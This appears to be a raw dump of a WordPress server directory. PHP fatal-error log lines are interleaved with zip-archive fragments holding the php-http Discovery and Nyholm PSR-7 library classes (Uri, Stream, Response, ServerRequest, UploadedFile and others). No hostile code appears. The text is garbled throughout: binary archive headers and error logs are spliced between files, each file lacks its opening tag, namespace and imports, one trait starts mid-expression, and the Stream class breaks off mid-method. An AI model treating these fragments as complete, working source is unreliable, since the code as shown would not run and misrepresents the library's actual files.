/home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/CommonClassesStrategy.php on line 48 [04-Sep-2026 13:24:48 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/CommonPsr17ClassesStrategy.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/CommonPsr17ClassesStrategy.php on line 18 [04-Sep-2026 13:24:49 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/PuliBetaStrategy.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/PuliBetaStrategy.php on line 19 PK!C0M M 8third-party/Http/Discovery/Strategy/PuliBetaStrategy.phpnu[ * @author Márk Sági-Kazár */ class PuliBetaStrategy implements DiscoveryStrategy { /** * @var GeneratedPuliFactory */ protected static $puliFactory; /** * @var Discovery */ protected static $puliDiscovery; /** * @return GeneratedPuliFactory * * @throws PuliUnavailableException */ private static function getPuliFactory() { if (null === self::$puliFactory) { if (!defined('PULI_FACTORY_CLASS')) { throw new PuliUnavailableException('Puli Factory is not available'); } $puliFactoryClass = PULI_FACTORY_CLASS; if (!ClassDiscovery::safeClassExists($puliFactoryClass)) { throw new PuliUnavailableException('Puli Factory class does not exist'); } self::$puliFactory = new $puliFactoryClass(); } return self::$puliFactory; } /** * Returns the Puli discovery layer. * * @return Discovery * * @throws PuliUnavailableException */ private static function getPuliDiscovery() { if (!isset(self::$puliDiscovery)) { $factory = self::getPuliFactory(); $repository = $factory->createRepository(); self::$puliDiscovery = $factory->createDiscovery($repository); } return self::$puliDiscovery; } public static function getCandidates($type) { $returnData = []; $bindings = self::getPuliDiscovery()->findBindings($type); foreach ($bindings as $binding) { $condition = \true; if ($binding->hasParameterValue('depends')) { $condition = $binding->getParameterValue('depends'); } $returnData[] = ['class' => $binding->getClassName(), 'condition' => $condition]; } return $returnData; } } PK!/h & &third-party/Nyholm/Psr7/Uri.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class Uri implements UriInterface { private const SCHEMES = ['http' => 80, 'https' => 443]; private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~'; private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;='; private const CHAR_GEN_DELIMS = ':\/\?#\[\]@'; /** @var string Uri scheme. */ private $scheme = ''; /** @var string Uri user info. */ private $userInfo = ''; /** @var string Uri host. */ private $host = ''; /** @var int|null Uri port. */ private $port; /** @var string Uri path. */ private $path = ''; /** @var string Uri query string. */ private $query = ''; /** @var string Uri fragment. */ private $fragment = ''; public function __construct(string $uri = '') { if ('' !== $uri) { if (\false === $parts = \parse_url($uri)) { throw new \InvalidArgumentException(\sprintf('Unable to parse URI: "%s"', $uri)); } // Apply parse_url parts to a URI. $this->scheme = isset($parts['scheme']) ? \strtr($parts['scheme'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; $this->userInfo = $parts['user'] ?? ''; $this->host = isset($parts['host']) ? \strtr($parts['host'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : ''; $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null; $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : ''; $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : ''; $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : ''; if (isset($parts['pass'])) { $this->userInfo .= ':' . $parts['pass']; } } } public function __toString(): string { return self::createUriString($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment); } public function getScheme(): string { return $this->scheme; } public function getAuthority(): string { if ('' === $this->host) { return ''; } $authority = $this->host; if ('' !== $this->userInfo) { $authority = $this->userInfo . '@' . $authority; } if (null !== $this->port) { $authority .= ':' . $this->port; } return $authority; } public function getUserInfo(): string { return $this->userInfo; } public function getHost(): string { return $this->host; } public function getPort(): ?int { return $this->port; } public function getPath(): string { $path = $this->path; if ('' !== $path && '/' !== $path[0]) { if ('' !== $this->host) { // If the path is rootless and an authority is present, the path MUST be prefixed by "/" $path = '/' . $path; } } elseif (isset($path[1]) && '/' === $path[1]) { // If the path is starting with more than one "/", the // starting slashes MUST be reduced to one. $path = '/' . \ltrim($path, '/'); } return $path; } public function getQuery(): string { return $this->query; } public function getFragment(): string { return $this->fragment; } /** * @return static */ public function withScheme($scheme): UriInterface { if (!\is_string($scheme)) { throw new \InvalidArgumentException('Scheme must be a string'); } if ($this->scheme === $scheme = \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { return $this; } $new = clone $this; $new->scheme = $scheme; $new->port = $new->filterPort($new->port); return $new; } /** * @return static */ public function withUserInfo($user, $password = null): UriInterface { if (!\is_string($user)) { throw new \InvalidArgumentException('User must be a string'); } $info = \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $user); if (null !== $password && '' !== $password) { if (!\is_string($password)) { throw new \InvalidArgumentException('Password must be a string'); } $info .= ':' . \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $password); } if ($this->userInfo === $info) { return $this; } $new = clone $this; $new->userInfo = $info; return $new; } /** * @return static */ public function withHost($host): UriInterface { if (!\is_string($host)) { throw new \InvalidArgumentException('Host must be a string'); } if ($this->host === $host = \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) { return $this; } $new = clone $this; $new->host = $host; return $new; } /** * @return static */ public function withPort($port): UriInterface { if ($this->port === $port = $this->filterPort($port)) { return $this; } $new = clone $this; $new->port = $port; return $new; } /** * @return static */ public function withPath($path): UriInterface { if ($this->path === $path = $this->filterPath($path)) { return $this; } $new = clone $this; $new->path = $path; return $new; } /** * @return static */ public function withQuery($query): UriInterface { if ($this->query === $query = $this->filterQueryAndFragment($query)) { return $this; } $new = clone $this; $new->query = $query; return $new; } /** * @return static */ public function withFragment($fragment): UriInterface { if ($this->fragment === $fragment = $this->filterQueryAndFragment($fragment)) { return $this; } $new = clone $this; $new->fragment = $fragment; return $new; } /** * Create a URI string from its various parts. */ private static function createUriString(string $scheme, string $authority, string $path, string $query, string $fragment): string { $uri = ''; if ('' !== $scheme) { $uri .= $scheme . ':'; } if ('' !== $authority) { $uri .= '//' . $authority; } if ('' !== $path) { if ('/' !== $path[0]) { if ('' !== $authority) { // If the path is rootless and an authority is present, the path MUST be prefixed by "/" $path = '/' . $path; } } elseif (isset($path[1]) && '/' === $path[1]) { if ('' === $authority) { // If the path is starting with more than one "/" and no authority is present, the // starting slashes MUST be reduced to one. $path = '/' . \ltrim($path, '/'); } } $uri .= $path; } if ('' !== $query) { $uri .= '?' . $query; } if ('' !== $fragment) { $uri .= '#' . $fragment; } return $uri; } /** * Is a given port non-standard for the current scheme? */ private static function isNonStandardPort(string $scheme, int $port): bool { return !isset(self::SCHEMES[$scheme]) || $port !== self::SCHEMES[$scheme]; } private function filterPort($port): ?int { if (null === $port) { return null; } $port = (int) $port; if (0 > $port || 0xffff < $port) { throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port)); } return self::isNonStandardPort($this->scheme, $port) ? $port : null; } private function filterPath($path): string { if (!\is_string($path)) { throw new \InvalidArgumentException('Path must be a string'); } return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $path); } private function filterQueryAndFragment($str): string { if (!\is_string($str)) { throw new \InvalidArgumentException('Query and fragment must be a string'); } return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $str); } private static function rawurlencodeMatchZero(array $match): string { return \rawurlencode($match[0]); } } PK!Cz0third-party/Nyholm/Psr7/Factory/Psr17Factory.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class Psr17Factory implements RequestFactoryInterface, ResponseFactoryInterface, ServerRequestFactoryInterface, StreamFactoryInterface, UploadedFileFactoryInterface, UriFactoryInterface { public function createRequest(string $method, $uri): RequestInterface { return new Request($method, $uri); } public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface { if (2 > \func_num_args()) { // This will make the Response class to use a custom reasonPhrase $reasonPhrase = null; } return new Response($code, [], null, '1.1', $reasonPhrase); } public function createStream(string $content = ''): StreamInterface { return Stream::create($content); } public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { if ('' === $filename) { throw new \RuntimeException('Path cannot be empty'); } if (\false === $resource = @\fopen($filename, $mode)) { if ('' === $mode || \false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], \true)) { throw new \InvalidArgumentException(\sprintf('The mode "%s" is invalid.', $mode)); } throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $filename, \error_get_last()['message'] ?? '')); } return Stream::create($resource); } public function createStreamFromResource($resource): StreamInterface { return Stream::create($resource); } public function createUploadedFile(StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null): UploadedFileInterface { if (null === $size) { $size = $stream->getSize(); } return new UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType); } public function createUri(string $uri = ''): UriInterface { return new Uri($uri); } public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface { return new ServerRequest($method, $uri, [], null, '1.1', $serverParams); } } PK!Y Y 2third-party/Nyholm/Psr7/Factory/HttplugFactory.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md * * @deprecated since version 1.8, use Psr17Factory instead */ class HttplugFactory implements MessageFactory, StreamFactory, UriFactory { public function createRequest($method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1'): RequestInterface { return new Request($method, $uri, $headers, $body, $protocolVersion); } public function createResponse($statusCode = 200, $reasonPhrase = null, array $headers = [], $body = null, $version = '1.1'): ResponseInterface { return new Response((int) $statusCode, $headers, $body, $version, $reasonPhrase); } public function createStream($body = null): StreamInterface { return Stream::create($body ?? ''); } public function createUri($uri = ''): UriInterface { if ($uri instanceof UriInterface) { return $uri; } return new Uri($uri); } } PK!tS)third-party/Nyholm/Psr7/Factory/error_lognu[[04-Sep-2026 13:25:10 UTC] PHP Fatal error: Uncaught LogicException: You cannot use "Nyholm\Psr7\Factory\HttplugFactory" as the "php-http/message-factory" package is not installed. Try running "composer require php-http/message-factory". Note that this package is deprecated, use "psr/http-factory" instead in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Nyholm/Psr7/Factory/HttplugFactory.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Nyholm/Psr7/Factory/HttplugFactory.php on line 18 [04-Sep-2026 13:25:11 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Nyholm/Psr7/Factory/Psr17Factory.php:30 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Nyholm/Psr7/Factory/Psr17Factory.php on line 30 PK!o8(third-party/Nyholm/Psr7/UploadedFile.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class UploadedFile implements UploadedFileInterface { /** @var array */ private const ERRORS = [\UPLOAD_ERR_OK => 1, \UPLOAD_ERR_INI_SIZE => 1, \UPLOAD_ERR_FORM_SIZE => 1, \UPLOAD_ERR_PARTIAL => 1, \UPLOAD_ERR_NO_FILE => 1, \UPLOAD_ERR_NO_TMP_DIR => 1, \UPLOAD_ERR_CANT_WRITE => 1, \UPLOAD_ERR_EXTENSION => 1]; /** @var string */ private $clientFilename; /** @var string */ private $clientMediaType; /** @var int */ private $error; /** @var string|null */ private $file; /** @var bool */ private $moved = \false; /** @var int */ private $size; /** @var StreamInterface|null */ private $stream; /** * @param StreamInterface|string|resource $streamOrFile * @param int $size * @param int $errorStatus * @param string|null $clientFilename * @param string|null $clientMediaType */ public function __construct($streamOrFile, $size, $errorStatus, $clientFilename = null, $clientMediaType = null) { if (\false === \is_int($errorStatus) || !isset(self::ERRORS[$errorStatus])) { throw new \InvalidArgumentException('Upload file error status must be an integer value and one of the "UPLOAD_ERR_*" constants'); } if (\false === \is_int($size)) { throw new \InvalidArgumentException('Upload file size must be an integer'); } if (null !== $clientFilename && !\is_string($clientFilename)) { throw new \InvalidArgumentException('Upload file client filename must be a string or null'); } if (null !== $clientMediaType && !\is_string($clientMediaType)) { throw new \InvalidArgumentException('Upload file client media type must be a string or null'); } $this->error = $errorStatus; $this->size = $size; $this->clientFilename = $clientFilename; $this->clientMediaType = $clientMediaType; if (\UPLOAD_ERR_OK === $this->error) { // Depending on the value set file or stream variable. if (\is_string($streamOrFile) && '' !== $streamOrFile) { $this->file = $streamOrFile; } elseif (\is_resource($streamOrFile)) { $this->stream = Stream::create($streamOrFile); } elseif ($streamOrFile instanceof StreamInterface) { $this->stream = $streamOrFile; } else { throw new \InvalidArgumentException('Invalid stream or file provided for UploadedFile'); } } } /** * @throws \RuntimeException if is moved or not ok */ private function validateActive(): void { if (\UPLOAD_ERR_OK !== $this->error) { throw new \RuntimeException('Cannot retrieve stream due to upload error'); } if ($this->moved) { throw new \RuntimeException('Cannot retrieve stream after it has already been moved'); } } public function getStream(): StreamInterface { $this->validateActive(); if ($this->stream instanceof StreamInterface) { return $this->stream; } if (\false === $resource = @\fopen($this->file, 'r')) { throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $this->file, \error_get_last()['message'] ?? '')); } return Stream::create($resource); } public function moveTo($targetPath): void { $this->validateActive(); if (!\is_string($targetPath) || '' === $targetPath) { throw new \InvalidArgumentException('Invalid path provided for move operation; must be a non-empty string'); } if (null !== $this->file) { $this->moved = 'cli' === \PHP_SAPI ? @\rename($this->file, $targetPath) : @\move_uploaded_file($this->file, $targetPath); if (\false === $this->moved) { throw new \RuntimeException(\sprintf('Uploaded file could not be moved to "%s": %s', $targetPath, \error_get_last()['message'] ?? '')); } } else { $stream = $this->getStream(); if ($stream->isSeekable()) { $stream->rewind(); } if (\false === $resource = @\fopen($targetPath, 'w')) { throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $targetPath, \error_get_last()['message'] ?? '')); } $dest = Stream::create($resource); while (!$stream->eof()) { if (!$dest->write($stream->read(1048576))) { break; } } $this->moved = \true; } } public function getSize(): int { return $this->size; } public function getError(): int { return $this->error; } public function getClientFilename(): ?string { return $this->clientFilename; } public function getClientMediaType(): ?string { return $this->clientMediaType; } } PK!]X<<'third-party/Nyholm/Psr7/StreamTrait.phpnu[= 70400 || (new \ReflectionMethod(StreamInterface::class, '__toString'))->hasReturnType()) { /** * @internal */ trait StreamTrait { public function __toString(): string { if ($this->isSeekable()) { $this->seek(0); } return $this->getContents(); } } } else { /** * @internal */ trait StreamTrait { /** * @return string */ public function __toString() { try { if ($this->isSeekable()) { $this->seek(0); } return $this->getContents(); } catch (\Throwable $e) { if (\is_array($errorHandler = \set_error_handler('var_dump'))) { $errorHandler = $errorHandler[0] ?? null; } \restore_error_handler(); if ($e instanceof \Error || $errorHandler instanceof SymfonyErrorHandler || $errorHandler instanceof SymfonyLegacyErrorHandler) { return \trigger_error((string) $e, \E_USER_ERROR); } return ''; } } } } PK!FK (third-party/Nyholm/Psr7/RequestTrait.phpnu[ * @author Martijn van der Ven * * @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise */ trait RequestTrait { /** @var string */ private $method; /** @var string|null */ private $requestTarget; /** @var UriInterface|null */ private $uri; public function getRequestTarget(): string { if (null !== $this->requestTarget) { return $this->requestTarget; } if ('' === $target = $this->uri->getPath()) { $target = '/'; } if ('' !== $this->uri->getQuery()) { $target .= '?' . $this->uri->getQuery(); } return $target; } /** * @return static */ public function withRequestTarget($requestTarget): RequestInterface { if (!\is_string($requestTarget)) { throw new \InvalidArgumentException('Request target must be a string'); } if (\preg_match('#\s#', $requestTarget)) { throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace'); } $new = clone $this; $new->requestTarget = $requestTarget; return $new; } public function getMethod(): string { return $this->method; } /** * @return static */ public function withMethod($method): RequestInterface { if (!\is_string($method)) { throw new \InvalidArgumentException('Method must be a string'); } $new = clone $this; $new->method = $method; return $new; } public function getUri(): UriInterface { return $this->uri; } /** * @return static */ public function withUri(UriInterface $uri, $preserveHost = \false): RequestInterface { if ($uri === $this->uri) { return $this; } $new = clone $this; $new->uri = $uri; if (!$preserveHost || !$this->hasHeader('Host')) { $new->updateHostFromUri(); } return $new; } private function updateHostFromUri(): void { if ('' === $host = $this->uri->getHost()) { return; } if (null !== $port = $this->uri->getPort()) { $host .= ':' . $port; } if (isset($this->headerNames['host'])) { $header = $this->headerNames['host']; } else { $this->headerNames['host'] = $header = 'Host'; } // Ensure Host is the first header. // See: http://tools.ietf.org/html/rfc7230#section-5.4 $this->headers = [$header => [$host]] + $this->headers; } } PK!$third-party/Nyholm/Psr7/Response.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class Response implements ResponseInterface { use MessageTrait; /** @var array Map of standard HTTP status code/reason phrases */ private const PHRASES = [100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 511 => 'Network Authentication Required']; /** @var string */ private $reasonPhrase = ''; /** @var int */ private $statusCode; /** * @param int $status Status code * @param array $headers Response headers * @param string|resource|StreamInterface|null $body Response body * @param string $version Protocol version * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) */ public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', ?string $reason = null) { // If we got no body, defer initialization of the stream until Response::getBody() if ('' !== $body && null !== $body) { $this->stream = Stream::create($body); } $this->statusCode = $status; $this->setHeaders($headers); if (null === $reason && isset(self::PHRASES[$this->statusCode])) { $this->reasonPhrase = self::PHRASES[$status]; } else { $this->reasonPhrase = $reason ?? ''; } $this->protocol = $version; } public function getStatusCode(): int { return $this->statusCode; } public function getReasonPhrase(): string { return $this->reasonPhrase; } /** * @return static */ public function withStatus($code, $reasonPhrase = ''): ResponseInterface { if (!\is_int($code) && !\is_string($code)) { throw new \InvalidArgumentException('Status code has to be an integer'); } $code = (int) $code; if ($code < 100 || $code > 599) { throw new \InvalidArgumentException(\sprintf('Status code has to be an integer between 100 and 599. A status code of %d was given', $code)); } $new = clone $this; $new->statusCode = $code; if ((null === $reasonPhrase || '' === $reasonPhrase) && isset(self::PHRASES[$new->statusCode])) { $reasonPhrase = self::PHRASES[$new->statusCode]; } $new->reasonPhrase = $reasonPhrase; return $new; } } PK!|,)third-party/Nyholm/Psr7/ServerRequest.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class ServerRequest implements ServerRequestInterface { use MessageTrait; use RequestTrait; /** @var array */ private $attributes = []; /** @var array */ private $cookieParams = []; /** @var array|object|null */ private $parsedBody; /** @var array */ private $queryParams = []; /** @var array */ private $serverParams; /** @var UploadedFileInterface[] */ private $uploadedFiles = []; /** * @param string $method HTTP method * @param string|UriInterface $uri URI * @param array $headers Request headers * @param string|resource|StreamInterface|null $body Request body * @param string $version Protocol version * @param array $serverParams Typically the $_SERVER superglobal */ public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = []) { $this->serverParams = $serverParams; if (!$uri instanceof UriInterface) { $uri = new Uri($uri); } $this->method = $method; $this->uri = $uri; $this->setHeaders($headers); $this->protocol = $version; \parse_str($uri->getQuery(), $this->queryParams); if (!$this->hasHeader('Host')) { $this->updateHostFromUri(); } // If we got no body, defer initialization of the stream until ServerRequest::getBody() if ('' !== $body && null !== $body) { $this->stream = Stream::create($body); } } public function getServerParams(): array { return $this->serverParams; } public function getUploadedFiles(): array { return $this->uploadedFiles; } /** * @return static */ public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface { $new = clone $this; $new->uploadedFiles = $uploadedFiles; return $new; } public function getCookieParams(): array { return $this->cookieParams; } /** * @return static */ public function withCookieParams(array $cookies): ServerRequestInterface { $new = clone $this; $new->cookieParams = $cookies; return $new; } public function getQueryParams(): array { return $this->queryParams; } /** * @return static */ public function withQueryParams(array $query): ServerRequestInterface { $new = clone $this; $new->queryParams = $query; return $new; } /** * @return array|object|null */ public function getParsedBody() { return $this->parsedBody; } /** * @return static */ public function withParsedBody($data): ServerRequestInterface { if (!\is_array($data) && !\is_object($data) && null !== $data) { throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null'); } $new = clone $this; $new->parsedBody = $data; return $new; } public function getAttributes(): array { return $this->attributes; } /** * @return mixed */ public function getAttribute($attribute, $default = null) { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } if (\false === \array_key_exists($attribute, $this->attributes)) { return $default; } return $this->attributes[$attribute]; } /** * @return static */ public function withAttribute($attribute, $value): ServerRequestInterface { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } $new = clone $this; $new->attributes[$attribute] = $value; return $new; } /** * @return static */ public function withoutAttribute($attribute): ServerRequestInterface { if (!\is_string($attribute)) { throw new \InvalidArgumentException('Attribute name must be a string'); } if (\false === \array_key_exists($attribute, $this->attributes)) { return $this; } $new = clone $this; unset($new->attributes[$attribute]); return $new; } } PK!9cm+m+"third-party/Nyholm/Psr7/Stream.phpnu[ * @author Martijn van der Ven * * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md */ class Stream implements StreamInterface { use StreamTrait; /** @var resource|null A resource reference */ private $stream; /** @var bool */ private $seekable; /** @var bool */ private $readable; /** @var bool */ private $writable; /** @var array|mixed|void|bool|null */ private $uri; /** @var int|null */ private $size; /** @var array Hash of readable and writable stream types */ private const READ_WRITE_HASH = ['read' => ['r' => \true, 'w+' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'rb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'rt' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a+' => \true], 'write' => ['w' => \true, 'w+' => \true, 'rw' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'wb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a' => \true, 'a+' => \true]]; /** * @param resource $body */ public function __construct($body) { if (!\is_resource($body)) { throw new \InvalidArgumentException('First argument to Stream::__construct() must be resource'); } $this->stream = $body; $meta = \stream_get_meta_data($this->stream); $this->seekable = $meta['seekable'] && 0 === \fseek($this->stream, 0, \SEEK_CUR); $this->readable = isset(self::READ_WRITE_HASH['read'][$meta['mode']]); $this->writable = isset(self::READ_WRITE_HASH['write'][$meta['mode']]); } /** * Creates a new PSR-7 stream. * * @param string|resource|StreamInterface $body * * @throws \InvalidArgumentException */ public static function create($body = ''): StreamInterface { if ($body instanceof StreamInterface) { return $body; } if (\is_string($body)) { if (200000 <= \strlen($body)) { $body = self::openZvalStream($body); } else { $resource = \fopen('php://memory', 'r+'); \fwrite($resource, $body); \fseek($resource, 0); $body = $resource; } } if (!\is_resource($body)) { throw new \InvalidArgumentException('First argument to Stream::create() must be a string, resource or StreamInterface'); } return new self($body); } /** * Closes the stream when the destructed. */ public function __destruct() { $this->close(); } public function close(): void { if (isset($this->stream)) { if (\is_resource($this->stream)) { \fclose($this->stream); } $this->detach(); } } public function detach() { if (!isset($this->stream)) { return null; } $result = $this->stream; unset($this->stream); $this->size = $this->uri = null; $this->readable = $this->writable = $this->seekable = \false; return $result; } private function getUri() { if (\false !== $this->uri) { $this->uri = $this->getMetadata('uri') ?? \false; } return $this->uri; } public function getSize(): ?int { if (null !== $this->size) { return $this->size; } if (!isset($this->stream)) { return null; } // Clear the stat cache if the stream has a URI if ($uri = $this->getUri()) { \clearstatcache(\true, $uri); } $stats = \fstat($this->stream); if (isset($stats['size'])) { $this->size = $stats['size']; return $this->size; } return null; } public function tell(): int { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (\false === $result = @\ftell($this->stream)) { throw new \RuntimeException('Unable to determine stream position: ' . (\error_get_last()['message'] ?? '')); } return $result; } public function eof(): bool { return !isset($this->stream) || \feof($this->stream); } public function isSeekable(): bool { return $this->seekable; } public function seek($offset, $whence = \SEEK_SET): void { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->seekable) { throw new \RuntimeException('Stream is not seekable'); } if (-1 === \fseek($this->stream, $offset, $whence)) { throw new \RuntimeException('Unable to seek to stream position "' . $offset . '" with whence ' . \var_export($whence, \true)); } } public function rewind(): void { $this->seek(0); } public function isWritable(): bool { return $this->writable; } public function write($string): int { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->writable) { throw new \RuntimeException('Cannot write to a non-writable stream'); } // We can't know the size after writing anything $this->size = null; if (\false === $result = @\fwrite($this->stream, $string)) { throw new \RuntimeException('Unable to write to stream: ' . (\error_get_last()['message'] ?? '')); } return $result; } public function isReadable(): bool { return $this->readable; } public function read($length): string { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->readable) { throw new \RuntimeException('Cannot read from non-readable stream'); } if (\false === $result = @\fread($this->stream, $length)) { throw new \RuntimeException('Unable to read from stream: ' . (\error_get_last()['message'] ?? '')); } return $result; } public function getContents(): string { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } $exception = null; \set_error_handler(static function ($type, $message) use (&$exception) { throw $exception = new \RuntimeException('Unable to read stream contents: ' . $message); }); try { return \stream_get_contents($this->stream); } catch (\Throwable $e) { throw $e === $exception ? $e : new \RuntimeException('Unable to read stream contents: ' . $e->getMessage(), 0, $e); } finally { \restore_error_handler(); } } /** * @return mixed */ public function getMetadata($key = null) { if (null !== $key && !\is_string($key)) { throw new \InvalidArgumentException('Metadata key must be a string'); } if (!isset($this->stream)) { return $key ? null : []; } $meta = \stream_get_meta_data($this->stream); if (null === $key) { return $meta; } return $meta[$key] ?? null; } private static function openZvalStream(string $body) { static $wrapper; $wrapper ?? \stream_wrapper_register('Nyholm-Psr7-Zval', $wrapper = \get_class(new class { public $context; private $data; private $position = 0; public function stream_open(): bool { $this->data = \stream_context_get_options($this->context)['Nyholm-Psr7-Zval']['data']; \stream_context_set_option($this->context, 'Nyholm-Psr7-Zval', 'data', null); return \true; } public function stream_read(int $count): string { $result = \substr($this->data, $this->position, $count); $this->position += \strlen($result); return $result; } public function stream_write(string $data): int { $this->data = \substr_replace($this->data, $data, $this->position, \strlen($data)); $this->position += \strlen($data); return \strlen($data); } public function stream_tell(): int { return $this->position; } public function stream_eof(): bool { return \strlen($this->data) <= $this->position; } public function stream_stat(): array { return [ 'mode' => 33206, // POSIX_S_IFREG | 0666 'nlink' => 1, 'rdev' => -1, 'size' => \strlen($this->data), 'blksize' => -1, 'blocks' => -1, ]; } public function stream_seek(int $offset, int $whence): bool { if (\SEEK_SET === $whence && (0 <= $offset && \strlen($this->data) >= $offset)) { $this->position = $offset; 